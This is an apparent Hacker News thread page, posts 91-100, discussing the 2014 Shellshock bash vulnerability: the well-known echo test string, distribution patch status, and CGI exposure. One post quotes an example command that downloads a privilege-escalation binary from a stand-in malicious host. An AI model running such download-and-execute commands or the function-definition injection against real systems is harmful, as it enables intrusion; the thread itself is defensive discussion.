Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

CVE-2014-6271: Remote code execution through bash

seclists.org

Post reply on HN
Print view View original

91–100 of 432 posts

Re: CVE-2014-6271: Remote code execution through bash

#91

Post by cbhl »

kazinator wrote: post #58
aroch wrote: post #30

Earlier quoted context omitted.

Debian7 doesn't look to be vulnerable by default (if the code snippet can be trusted to work): [arch/testbed ~] uname -a Linux 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 GNU/Linux [arch/testbed ~] env x='() { :;}; echo vulnerable' bash -c "echo this is a test" bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' this is a test

I have a Debian Squeeze system. Just ran apt-get upgrade and bash wasn't upgraded at all. Just other things like CUPS, exim4, pgsql, ...

Make sure security.debian.org is in your apt sources list?

Re: CVE-2014-6271: Remote code execution through bash

#92

Post by Erwin »

jrochkind1 wrote: post #51
ilconsigliere wrote: post #40

Am I wrong in thinking that seems a bit worse than Heartbleed?

The exploit is worse. But I'm not sure how a scanner bot would find network accessible bashes to exploit. Seems like basically you need a cgi-bin with bash, and I don't think there's any way to predict a URL that is going to have such a thing. Now, if there is some popular app that ends up vulnerable (perhaps because it shells out to bash), then that's definitely going to be huge. But as it is... I'm not sure?

You could search for *.cgi scripts indexed by Google. They may not be written IN Bash but maybe one of them opens up a shell to execute a command. Even if you are not explicitly passing any bad data to it, the environment will be passed and trigger this crazy vulnerability.

Re: CVE-2014-6271: Remote code execution through bash

#94

Post by wyager »

This is what happens when you have two different processes doing IPC using a human interface mechanism.

Another huge family of vulnerabilities that exists for the same reason are SQL injection vulnerabilities. SQL was invented as a way for humans at a terminal to do database operations. However, we started using it as a way of doing IPC. The problem with using human interfaces as an IPC mechanism is that human interfaces are rarely well-defined or minimal, so it is very hard to constrain behavior to what you expect.

The way to fix all of these bugs is to use well-defined, computer-oriented IPC mechanisms where there is a clear distinction between code and data. For example, database queries might be constructed by function call instead of string manipulation, which could pack them into a safe TLV format with no chance of malicious query injection. Generating web server content from a different language could be done via a proper FFI or message passing mechanism, rather than CGI scripts.

Re: CVE-2014-6271: Remote code execution through bash

#95

Post by adamt »

zobzu wrote: post #42

I have a feeling this is blown out of proportion. Who's running bash setuid exactly? Right. Who's running shell CGIs today? Right. So.. who has an example of common scripts that are executed remotely in most servers while accepting remote environment? Til then, the panic seems unjustified...

As I understand this, any CGI script could be affected. Even if written in a different language if it turn does an os.system (or equivalent). More info here: https://securityblog.redhat.com/2014/09/24/bash-specially-cr... The permissions would only be as the web server user, but that allows all sorts of things to be run that are quite dangerous (resource exhaustion, attacking remote machines, downloading code and running it)

Re: CVE-2014-6271: Remote code execution through bash

#96

Post by javert »

darklajid wrote: post #16
masterleep wrote: post #5

env x='() { :;}; echo vulnerable' bash -c "echo this is a test" From https://securityblog.redhat.com/2014/09/24/bash-specially-cr...

Whoa. I tried this, ran pacaur -Suy and .. it's patched. Arch was fast.

I learned today that some mirrors update their package database a lot faster than others. Had to switch mirrors to get the new bash.

https://www.archlinux.org/mirrors/status/

Re: CVE-2014-6271: Remote code execution through bash

#98

Post by dllthomas »

sophacles wrote: post #66
dllthomas wrote: post #49

Earlier quoted context omitted.

Where is the privilege escalation? I get the same results from running id through tripping the bug as I do from running id directly. Edited to add: Also no differences in capabilities when I cat /proc/self/status None of which is to say there is clearly no such vulnerability - I'd just like to understand it if there is.

Basically, anywhere this vulnerability exists, there is the option to run arbitrary code. That is for example: curl malicious.com/local_privilege_escalation_binary -o /tmp/iwin; iwin could be the payload. This will download then run a secondary attack binary. Then the attacker wins.

That's true of any code execution vulnerability, though - it seems odd to call out the privilege elevation specifically. If that's all the GP meant, then sure, I fully grok.

Re: CVE-2014-6271: Remote code execution through bash

#99

Post by jvreeland »

dllthomas wrote: post #45
darklajid wrote: post #16

Earlier quoted context omitted.

Whoa. I tried this, ran pacaur -Suy and .. it's patched. Arch was fast.

It's fixed in Debian as well.

only in wheezy (security) right now.

squeeze. jessie and wheezy are still vulnerable.

https://security-tracker.debian.org/tracker/CVE-2014-6271

Re: CVE-2014-6271: Remote code execution through bash

#100

Post by agwa »

kazinator wrote: post #58
aroch wrote: post #30

Earlier quoted context omitted.

Debian7 doesn't look to be vulnerable by default (if the code snippet can be trusted to work): [arch/testbed ~] uname -a Linux 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 GNU/Linux [arch/testbed ~] env x='() { :;}; echo vulnerable' bash -c "echo this is a test" bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' this is a test

I have a Debian Squeeze system. Just ran apt-get upgrade and bash wasn't upgraded at all. Just other things like CUPS, exim4, pgsql, ...

Squeeze doesn't have regular security support anymore. A subset of packages on i386 and amd64 are receiving long term security support, but you need to enable the Squeeze LTS repo:

https://wiki.debian.org/LTS/Using

Post reply on HN